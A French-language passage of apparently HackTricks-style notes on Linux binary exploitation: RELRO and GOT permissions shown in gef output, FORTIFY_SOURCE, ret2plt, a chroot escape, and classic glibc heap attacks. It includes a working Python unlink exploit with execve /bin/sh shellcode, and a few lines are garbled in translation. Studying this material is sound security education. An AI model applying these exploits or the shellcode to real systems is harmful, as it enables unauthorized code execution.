0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Sans relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Pour le binaire sans relro, nous pouvons voir que l'adresse d'entrée got pour fgets est 0x404018. En examinant les mappages de mémoire, nous constatons qu'elle se situe entre 0x404000 et 0x405000, ce qui signifie qu'elle a les permissions rw, ce qui signifie que nous pouvons lire et écrire dedans. Pour le binaire avec relro, nous constatons que l'adresse de la table got pour l'exécution du binaire (pie est activé, donc cette adresse changera) est 0x555555557fd0. Dans la table de mappage mémoire de ce binaire, elle se situe entre 0x0000555555557000 et 0x0000555555558000, ce qui signifie que nous ne pouvons que la lire.

Alors quelle est la contournement ? Le contournement typique que j'utilise est simplement de ne pas écrire dans les régions de mémoire que relro rend en lecture seule, et de trouver un autre moyen d'exécuter du code.

Notez que pour que cela se produise, le binaire doit connaître avant l'exécution les adresses des fonctions :

  • Liaison tardive : L'adresse d'une fonction est recherchée la première fois que la fonction est appelée. Ainsi, la GOT doit avoir des permissions d'écriture pendant l'exécution.
  • Liaison immédiate : Les adresses des fonctions sont résolues au début de l'exécution, puis des permissions en lecture seule sont accordées aux sections sensibles telles que .got, .dtors, .ctors, .dynamic, .jcr. `**-z relro**y**-z now`**

Pour vérifier si un programme utilise la liaison immédiate, vous pouvez exécuter la commande suivante :

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

Lorsque le binaire est chargé en mémoire et qu'une fonction est appelée pour la première fois, il saute vers la PLT (Procedure Linkage Table), à partir de là, il effectue un saut (jmp) vers la GOT et découvre que cette entrée n'a pas été résolue (elle contient une adresse suivante de la PLT). Il invoque alors le Runtime Linker ou rtfd pour résoudre l'adresse et la stocker dans la GOT.

Lorsqu'une fonction est appelée, elle est appelée via la PLT, qui contient l'adresse de la GOT où l'adresse de la fonction est stockée, redirigeant ainsi le flux vers cette adresse et appelant la fonction. Cependant, si c'est la première fois que la fonction est appelée, ce qui se trouve dans la GOT est l'instruction suivante de la PLT, donc le flux suit le code de la PLT (rtfd) et trouve l'adresse de la fonction, la stocke dans la GOT et l'appelle.

Lors du chargement d'un binaire en mémoire, le compilateur lui indique à quel décalage il doit placer les données qui doivent être chargées lors de l'exécution du programme.

Lazy binding -> L'adresse de la fonction est recherchée la première fois qu'elle est appelée, donc la GOT a des autorisations d'écriture pour que lorsqu'elle est recherchée, elle soit stockée là et qu'il ne soit pas nécessaire de la rechercher à nouveau.

Bind now -> Les adresses des fonctions sont recherchées lors du chargement du programme et les autorisations des sections .got, .dtors, .ctors, .dynamic, .jcr sont modifiées en lecture seule. -z relro et -z now

Malgré cela, en général, les programmes ne sont pas compliqués avec ces options, donc ces attaques restent possibles.

readelf -l /proc/ID_PROC/exe | grep BIND_NOW -> Pour savoir s'ils utilisent le BIND NOW

Fortify Source -D_FORTIFY_SOURCE=1 ou =2

Il essaie d'identifier les fonctions qui copient de manière non sécurisée d'un endroit à un autre et remplace la fonction par une fonction sécurisée.

Par exemple :
char buf[16];
strcpy(buf, source);

Il l'identifie comme non sécurisé, puis remplace strcpy() par __strcpy_chk() en utilisant la taille du tampon comme taille maximale à copier.

La différence entre =1 et =2 est que :

La deuxième option n'autorise pas que %n provienne d'une section avec des autorisations d'écriture. De plus, le paramètre pour l'accès direct aux arguments ne peut être utilisé que si les précédents ont été utilisés, c'est-à-dire que %3$d ne peut être utilisé que si %2$d et %1$d ont été utilisés auparavant.

Pour afficher le message d'erreur, on utilise argv[0], donc si on y met l'adresse d'un autre emplacement (comme une variable globale), le message d'erreur affichera le contenu de cette variable. Page 191

Remplacement de Libsafe

Il est activé avec : LD_PRELOAD=/lib/libsafe.so.2
ou
"/lib/libsave.so.2" > /etc/ld.so.preload

Il intercepte les appels à certaines fonctions non sécurisées par d'autres sécurisées. Ce n'est pas normalisé. (uniquement pour x86, pas pour les compilations avec -fomit-frame-pointer, pas de compilations statiques, toutes les fonctions vulnérables ne deviennent pas sécurisées et LD_PRELOAD ne fonctionne pas avec les binaires suid).

ASCII Armored Address Space

Consiste à charger les bibliothèques partagées de 0x00000000 à 0x00ffffff afin qu'il y ait toujours un octet 0x00. Cependant, cela ne protège pratiquement pas contre les attaques, surtout en little endian.

ret2plt

Consiste à effectuer un ROP de manière à appeler la fonction strcpy@plt (de la plt) et à pointer vers l'entrée de la GOT et à copier le premier octet de la fonction à appeler (system()). Ensuite, on fait la même chose en pointant vers GOT+1 et en copiant le deuxième octet de system()... Enfin, on appelle l'adresse stockée dans la GOT qui sera system()

Faux EBP

Pour les fonctions qui utilisent EBP comme registre pour pointer vers les arguments, en modifiant EIP et en pointant vers system(), EBP doit également être modifié pour pointer vers une zone mémoire contenant 2 octets quelconques, puis l'adresse de &"/bin/sh".

Cages avec chroot()

debootstrap -arch=i386 hardy /home/user -> Installe un système de base dans un sous-répertoire spécifique

Un administrateur peut sortir de l'une de ces cages en faisant : mkdir foo; chroot foo; cd ..

Instrumentation de code

Valgrind -> Recherche d'erreurs
Memcheck
RAD (Return Address Defender)
Insure++

8 Débordements de tas : Exploits basiques

Chunk alloué

prev_size |
size | - En-tête
*mem | Données

Chunk libre

prev_size |
size |
*fd | Ptr vers le chunk suivant
*bk | Ptr vers le chunk précédent - En-tête
*mem | Données

Les chunks libres sont dans une liste doublement chaînée (bin) et il ne peut jamais y avoir deux chunks libres consécutifs (ils sont fusionnés).

Dans "size", il y a des bits pour indiquer : si le chunk précédent est utilisé, si le chunk a été alloué via mmap() et si le chunk appartient à l'arena principale.

Lorsqu'un chunk est libéré et que certains des chunks adjacents sont libres, ils sont fusionnés à l'aide de la macro unlink() et le nouveau chunk le plus grand est passé à frontlink() pour qu'il soit inséré dans le bon bin.

unlink(){
BK = P->bk; -> Le BK du nouveau chunk est celui qui était déjà libre avant
FD = P->fd; -> Le FD du nouveau chunk est celui qui était déjà libre avant
FD->bk = BK; -> Le BK du chunk suivant pointe vers le nouveau chunk
BK->fd = FD; -> Le FD du chunk précédent pointe vers le nouveau chunk
}

Par conséquent, si nous parvenons à modifier P->bk avec l'adresse d'un shellcode et P->fd avec l'adresse d'une entrée dans la GOT ou DTORS moins 12, nous obtenons :

BK = P->bk = &shellcode
FD = P->fd = &dtor_end - 12
FD->bk = BK -> *((&dtor_end - 12) + 12) = &shellcode

Ainsi, lorsque le programme se termine, le shellcode est exécuté.

De plus, la 4ème instruction de unlink() écrit quelque chose et le shellcode doit être réparé pour cela :

BK->fd = FD -> *((&shellcode + 8) = (&dtor_end - 12) -> Cela provoque l'écriture de 4 octets à partir du 8ème octet du shellcode, donc la première instruction du shellcode doit être un jmp pour sauter cela et atteindre des nops qui mènent au reste du shellcode.

Par conséquent, l'exploit est créé :

Dans le buffer1, nous insérons le shellcode en commençant par un jmp pour qu'il atteigne les nops ou le reste du shellcode. Après le shell code, nous remplissons avec des données jusqu'à atteindre les champs prev_size et size du chunk suivant. Nous mettons 0xfffffff0 à ces emplacements (pour écraser prev_size et indiquer qu'il est libre) et "-4" (0xfffffffc) dans size (pour que lorsque le troisième chunk vérifie si le deuxième est libre, il accède en réalité à prev_size modifié qui lui indique qu'il est libre) -> Ainsi, lorsque free() est appelé, il accède à size du troisième chunk mais en réalité il accède à size du deuxième moins 4 et pense que le deuxième chunk est libre. Et ensuite, il appelle unlink().

Lorsque unlink() est appelé, il utilise les premières données du deuxième chunk comme P->fd, donc l'adresse que nous voulons écraser est insérée là-bas moins 12 (car il ajoute 12 à l'adresse stockée dans FD pour BK). Et à cette adresse, nous insérons la deuxième adresse trouvée dans le deuxième chunk, qui sera l'adresse du shell code (P->bk faux).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 octets de remplissage

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Il est important que le bit indiquant que le chunk précédent est libre soit à 1

fake_size = pack("<I”, 0xfffffffc) #-4, pour que le "size" du troisième chunk soit 4 octets en arrière (il pointe vers prev_size) car c'est là qu'il vérifie si le deuxième chunk est libre

addr_sc = pack("<I", 0x0804a008 + 8) #Dans la charge utile, nous ajoutons 8 octets de remplissage au début

got_free = pack("<I", 0x08048300 - 12) #Adresse de free() dans la plt-12 (ce sera l'adresse écrasée pour exécuter le shell code la deuxième fois que free() est appelé)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Comme mentionné précédemment, la charge utile commence par 8 octets de remplissage pour aucune raison particulière

payload += prev_size + fake_size + got_free + addr_sc #Le deuxième chunk est modifié, got_free pointe vers l'endroit où nous allons stocker l'adresse addr_sc + 12

os.system("./8.3.o " + payload)

unset() en libérant dans l'ordre inverse (wargame)

Nous contrôlons 3 chunks consécutifs et ils sont libérés dans l'ordre inverse de leur réservation.

Dans ce cas :

Dans le chunk c, nous plaçons le shell code.

Nous utilisons le chunk a pour écraser le b de sorte que le size ait le bit PREV_INUSE désactivé, ce qui fait penser que le chunk a est libre.

De plus, nous écrasons le size dans l'en-tête b pour qu'il soit égal à -4.

Ainsi, le programme pensera que "a" est libre et dans un bin, il appellera donc unlink() pour le désenchaîner. Cependant, comme l'en-tête PREV_SIZE vaut -4, il pensera que le chunk "a" commence réellement à b+4. Autrement dit, il effectuera unlink() sur un chunk qui commence à b+4, donc à b+12 se trouvera le pointeur "fd" et à b+16 se trouvera le pointeur "bk".

De cette manière, si nous mettons l'adresse du shell code dans bk et l'adresse de la fonction "puts()" - 12 dans fd, nous avons notre payload.

Technique de Frontlink

Frontlink est appelé lorsque quelque chose est libéré et aucun de ses chunks adjacents n'est libre, unlink() n'est pas appelé mais frontlink() est appelé directement.

Vulnérabilité utile lorsque le malloc attaqué n'est jamais libéré (free()).

Il nécessite :

Un tampon qui peut être débordé avec la fonction de saisie de données.

Un tampon contigu à celui-ci qui doit être libéré et dont le champ fd de l'en-tête sera modifié grâce au débordement du tampon précédent.

Un tampon à libérer avec une taille supérieure à 512 mais inférieure au tampon précédent.

Un tampon déclaré avant l'étape 3 qui permet de remplacer prev_size de celui-ci.

De cette manière, en écrasant deux mallocs de manière incontrôlée et un malloc de manière contrôlée mais qui n'est libéré qu'une seule fois, nous pouvons réaliser une exploitation.

Vulnérabilité double free()

Si free() est appelé deux fois avec le même pointeur, deux bins pointent vers la même adresse.

Si nous voulons réutiliser l'un d'eux, il sera assigné sans problème. Si nous voulons utiliser un autre, il sera assigné au même espace, de sorte que les pointeurs "fd" et "bk" seront falsifiés avec les données écrites par l'allocation précédente.

After free()

Un pointeur précédemment libéré est réutilisé sans contrôle.

8 Débordements de tas : Exploits avancés

Les techniques Unlink() et FrontLink() ont été supprimées en modifiant la fonction unlink().

The house of mind

Une seule appel à free() est nécessaire pour exécuter du code arbitraire. Il est intéressant de trouver un deuxième chunk qui peut être débordé par un précédent et libéré.

Un appel à free() appelle public_fREe(mem), qui fait :

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Renvoie un pointeur vers l'adresse où commence le chunk (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

Dans [1], il vérifie le champ size du bit NON_MAIN_ARENA, qui peut être modifié pour que la vérification renvoie true et exécute heap_for_ptr() qui effectue un and avec "mem", mettant les 2,5 octets les moins significatifs à 0 (dans notre cas, de 0x0804a000 à 0x08000000) et accède à 0x08000000->ar_ptr (comme s'il s'agissait d'une structure heap_info). De cette façon, si nous pouvons contrôler un morceau par exemple à l'adresse 0x0804a000 et qu'un morceau va être libéré à l'adresse 0x081002a0, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple 0x0804a000. Lorsque ce deuxième morceau sera libéré, heap_for_ptr(ptr)->ar_ptr renverra ce que nous avons écrit à l'adresse 0x08100000 (car l'opération "et" que nous avons vue précédemment est appliquée à 0x081002a0 et à partir de là, les 4 premiers octets, ar_ptr, sont extraits).

De cette manière, _int_free(ar_ptr, mem) est appelé, c'est-à-dire _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le morceau qui va être libéré.

Comme unsorted_chunks est défini, nous savons que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Par conséquent, si nous écrivons la valeur de __DTOR_END__-12 dans av->bins[2], à la dernière instruction, l'adresse du deuxième morceau sera écrite dans __DTOR_END__.

Cela signifie que dans le premier morceau, nous devons mettre plusieurs fois l'adresse de __DTOR_END__-12 au début, car av->bins[2] la récupérera à partir de là.

Dans l'adresse où tombe l'adresse du deuxième morceau avec les 5 derniers zéros, nous devons écrire l'adresse de ce premier morceau pour que heap_for_ptr() pense que ar_ptr est au début du premier morceau et en extrait av->bins[2].

Dans le deuxième morceau et grâce au premier, nous écrasons prev_size avec un jump 0x0c et size avec quelque chose pour activer -> NON_MAIN_ARENA.

Ensuite, dans le deuxième morceau, nous mettons beaucoup de nops et enfin la shellcode.

De cette façon, _int_free(CHUNK1, CHUNK2) sera appelé et suivra les instructions pour écrire l'adresse de prev_size de CHUNK2 dans __DTOR_END__, qui sautera ensuite vers la shellcode.

Pour appliquer cette technique, il faut que certaines conditions supplémentaires soient remplies, ce qui complique un peu plus la charge utile.

Cette technique n'est plus applicable car elle a été presque entièrement corrigée, tout comme pour unlink. On vérifie si le nouvel emplacement pointe également vers lui.

Fastbin

C'est une variante de The house of mind.

Nous voulons exécuter le code suivant, qui est atteint après la première vérification de la fonction _int_free().

fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

De cette façon, si nous mettons dans "fb" l'adresse d'une fonction dans la GOT, cette adresse sera remplacée par l'adresse du morceau falsifié. Pour cela, il est nécessaire que l'arène soit proche des adresses des dtors. Plus précisément, av->max_fast doit être à l'adresse que nous allons écraser.

Comme nous l'avons vu avec The House of Mind, nous contrôlions la position de av.

Donc, si nous mettons une taille de 8 + NON_MAIN_ARENA + PREV_INUSE dans le champ size, fastbin_index() nous renverra fastbins[-1], qui pointera vers av->max_fast.

Dans ce cas, av->max_fast sera l'adresse qui sera écrasée (pas celle vers laquelle elle pointe, mais cette position sera écrasée).

De plus, il faut que le morceau contigu au morceau libéré soit plus grand que 8 -> Comme nous avons dit que la taille du morceau libéré est de 8, dans ce faux morceau, nous devons simplement mettre une taille supérieure à 8 (comme la shellcode sera également dans le morceau libéré, nous devrons mettre un jmp au début qui tombe sur les nops).

De plus, ce même faux morceau doit être inférieur à av->system_mem. av->system_mem est situé à 1848 octets plus loin.

En raison des zéros de _DTOR_END_ et des quelques adresses dans la GOT, aucune de ces adresses de ces sections ne peut être écrasée, donc voyons comment appliquer fastbin pour attaquer la pile.

Une autre forme d'attaque consiste à rediriger av vers la pile.

Si nous modifions la taille pour qu'elle soit de 16 au lieu de 8, alors fastbin_index() nous renverra fastbins[0] et nous pouvons l'utiliser pour écraser la pile.

Pour cela, il ne doit y avoir aucun canary ni de valeurs étranges sur la pile, en fait nous devons nous trouver dans cette configuration : 4 octets nuls + EBP + RET.

Les 4 octets nuls sont nécessaires car av sera à cette adresse et le premier élément d'un av est le mutex qui doit valoir 0.

av->max_fast sera EBP et sera une valeur qui nous permettra de contourner les restrictions.

Dans av->fastbins[0], nous écraserons avec l'adresse de p et ce sera RET, ainsi il sautera vers la shellcode.

De plus, dans av->system_mem (1484 octets au-dessus de la position sur la pile), il y aura beaucoup de déchets qui nous permettront de contourner la vérification effectuée.

De plus, il faut que le morceau contigu au morceau libéré soit plus grand que 8 -> Comme nous avons dit que la taille du morceau libéré est de 16, dans ce faux morceau, nous devons simplement mettre une taille supérieure à 8 (comme la shellcode sera également dans le morceau libéré, nous devrons mettre un jmp au début qui tombe sur les nops qui se trouvent après le champ size du nouveau faux morceau).

The House of Spirit

Dans ce cas, nous cherchons à avoir un pointeur vers un malloc qui peut être modifié par l'attaquant (par exemple, le pointeur est sur la pile sous un possible dépassement de capacité d'une variable).

Ainsi, nous pourrions faire pointer ce pointeur où nous voulons. Cependant, tous les emplacements ne sont pas valides, la taille du morceau falsifié doit être inférieure à av->max_fast et plus précisément égale à la taille demandée lors d'un futur appel à malloc()+8. Par conséquent, si nous savons qu'après ce pointeur vulnérable, malloc(40) est appelé, la taille du faux morceau doit être de 48. Si, par exemple, le programme demande à l'utilisateur un nombre, nous pourrions entrer 48 et pointer le pointeur de malloc modifiable vers les 4 octets suivants (qui pourraient appartenir à EBP avec un peu de chance, de sorte que 48 soit en arrière, comme s'il s'agissait de l'en-tête size). De plus, l'adresse ptr-4+48 doit satisfaire plusieurs conditions (dans ce cas, ptr=EBP), c'est-à-dire 8 < ptr-4+48 < av->system_mem.

Si cela est vrai, lorsque le prochain malloc est appelé, qui était malloc(40), il se verra attribuer l'adresse de EBP. Si l'attaquant peut également contrôler ce qui est écrit dans ce malloc, il peut écraser à la fois EBP et EIP avec l'adresse de son choix.

Je pense que c'est parce que lorsque free() est appelé, il enregistre que l'adresse pointée par EBP de la pile contient un morceau de taille parfaite pour le nouveau malloc() à réserver, il lui attribue donc cette adresse.

La Maison de la Force

Il est nécessaire de :

  • Un dépassement de mémoire sur un morceau qui permet de modifier le wilderness
  • Un appel à malloc() avec une taille définie par l'utilisateur
  • Un appel à malloc() dont les données peuvent être définies par l'utilisateur

La première chose à faire est de modifier la taille du morceau wilderness avec une valeur très grande (0xffffffff), de sorte que toute demande de mémoire suffisamment grande soit traitée dans _int_malloc() sans avoir besoin d'étendre le tas.

La deuxième chose est de modifier av->top pour qu'il pointe vers une zone mémoire sous le contrôle de l'attaquant, comme la pile. Dans av->top, on met &EIP - 8.

Nous devons modifier av->top pour qu'il pointe vers la zone mémoire sous le contrôle de l'attaquant :

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim récupère la valeur de l'adresse du morceau wilderness actuel (l'actuel av->top) et remainder est exactement la somme de cette adresse plus la quantité d'octets demandée par malloc(). Donc, si &EIP-8 est à 0xbffff224 et av->top contient 0x080c2788, alors la quantité que nous devons réserver dans le malloc contrôlé pour que av->top pointe vers $EIP-8 pour le prochain malloc() sera :

0xbffff224 - 0x080c2788 = 3086207644.

Ainsi, la valeur modifiée sera enregistrée dans av->top et le prochain malloc pointera vers EIP et pourra l'écraser.

Il est important de savoir que la taille du nouveau morceau wilderness doit être plus grande que la demande faite par le dernier malloc(). C'est-à-dire, si le wilderness pointe vers &EIP-8, la taille sera juste dans le champ EBP de la pile.

La Maison de la Connaissance

Corruption de SmallBin

Les morceaux libérés sont placés dans le bin en fonction de leur taille. Mais avant d'être placés, ils sont stockés dans unsorted bins. Lorsqu'un morceau est libéré, il n'est pas immédiatement placé dans son bin, mais reste dans unsorted bins. Ensuite, s'il y a une nouvelle demande de mémoire et que le morceau précédemment libéré peut être utilisé, il est renvoyé, mais s'il y a une demande de taille supérieure, le morceau libéré dans unsorted bins est placé dans son bin approprié.

Pour atteindre le code vulnérable, la demande de mémoire doit être supérieure à av->max_fast (généralement 72) et inférieure à MIN_LARGE_SIZE (512).

Si un morceau de la taille demandée est présent dans le bin, il est renvoyé après avoir été détaché :

bck = victim->bk; Pointe vers le morceau précédent, c'est la seule information que nous pouvons modifier.

bin->bk = bck; L'avant-dernier morceau devient le dernier, au cas où bck pointe vers la pile, le morceau suivant réservé recevra cette adresse.

bck->fd = bin; La liste est fermée en faisant pointer celle-ci vers bin.

Il est nécessaire de :

Réservation de deux malloc, de sorte que le premier puisse être débordé après que le second ait été libéré et placé dans son bin (c'est-à-dire, un malloc plus grand que le deuxième morceau est réservé avant le débordement)

Le malloc réservé à l'adresse choisie par l'attaquant doit être contrôlé par l'attaquant.

L'objectif est le suivant, si nous pouvons déborder un tas qui a en dessous un morceau déjà libéré et dans son bin, nous pouvons modifier son pointeur bk. Si nous modifions son pointeur bk et que ce morceau devient le premier de la liste du bin et est réservé, nous tromperons le bin en lui disant que le dernier morceau de la liste (le suivant à offrir) est à l'adresse fausse que nous avons mise (comme la pile ou la GOT par exemple). Ainsi, si un autre morceau est réservé et que l'attaquant a des autorisations dessus, il recevra un morceau à la position souhaitée et pourra y écrire.

Après avoir libéré le morceau modifié, il est nécessaire de réserver un morceau plus grand que celui qui a été libéré, de sorte que le morceau modifié sorte des unsorted bins et soit placé dans son bin.

Une fois dans son bin, il est temps de modifier le pointeur bk en utilisant le débordement pour qu'il pointe vers l'adresse que nous voulons écraser.

Ainsi, le bin doit attendre que malloc() soit appelé suffisamment de fois pour que le bin modifié soit utilisé à nouveau et trompe le bin en lui faisant croire que le prochain morceau est à l'adresse fausse. Ensuite, le morceau qui nous intéresse sera donné.

Pour que la vulnérabilité s'exécute le plus tôt possible, l'idéal serait : Réservation du morceau vulnérable, réservation du morceau qui sera modifié, libération de ce morceau, réservation d'un morceau plus grand que celui qui sera modifié, modification du morceau (vulnérabilité), réservation d'un morceau de même taille que le morceau violé et réservation d'un deuxième morceau de même taille qui pointera vers l'adresse choisie.

Pour protéger cette attaque, la vérification typique que le morceau n'est pas faux est utilisée : on vérifie si bck->fd pointe vers victim. C'est-à-dire, dans notre cas, si le pointeur fd* du faux morceau pointé dans la pile pointe vers victim. Pour contourner cette protection, l'attaquant devrait être capable d'écrire d'une manière ou d'une autre (probablement sur la pile) dans l'adresse appropriée l'adresse de victim. Ainsi, cela ressemblera à un vrai morceau.

Corruption de LargeBin

Les mêmes exigences que précédemment sont nécessaires, ainsi que d'autres, en plus les morceaux réservés doivent être supérieurs à 512.

L'attaque est similaire à la précédente, c'est-à-dire qu'il faut modifier le pointeur bk et toutes ces appels à malloc(), mais en plus il faut modifier la taille du morceau modifié de telle sorte que size - nb soit < MINSIZE.

Par exemple, il faut mettre 1552 dans size pour que 1552 - 1544 = 8 < MINSIZE (la soustraction ne peut pas être négative car elle compare un unsigned)

De plus, un correctif a été ajouté pour le rendre encore plus compliqué.

Heap Spraying Básicamente, consiste en réserver autant de mémoire que possible pour les tas et les remplir avec un matelas de nops suivi d'un shellcode. De plus, le matelas utilisé est 0x0c. On essaiera donc de sauter à l'adresse 0x0c0c0c0c, de sorte que si une adresse à laquelle on appelle avec ce matelas est écrasée, on sautera là-bas. Fondamentalement, la tactique consiste à réserver autant que possible pour voir si un pointeur est écrasé et à sauter à 0x0c0c0c0c en espérant qu'il y ait des nops là-bas.

Heap Feng Shui

Il consiste à semer la mémoire en réservant et en libérant des morceaux de manière à ce qu'il reste des morceaux réservés entre les morceaux libres. Le tampon à déborder sera placé dans l'un des espaces vides.

objdump -d executable —> Désassembler les fonctions
objdump -d ./PROGRAMME | grep FONCTION —> Obtenir l'adresse de la fonction
objdump -d -Mintel ./shellcodeout —> Pour vérifier que c'est bien notre shellcode et obtenir les opcodes
objdump -t ./exec | grep varBss —> Table des symboles, pour obtenir l'adresse des variables et des fonctions
objdump -TR ./exec | grep exit(func lib) —> Pour obtenir l'adresse des fonctions de bibliothèques (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Obtenir l'adresse de puts à écraser dans le GOT
objdump -D ./exec —> Désassembler TOUT jusqu'aux entrées de la plt
objdump -p -/exec
Info functions strncmp —> Informations sur la fonction dans gdb

Cours intéressants

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥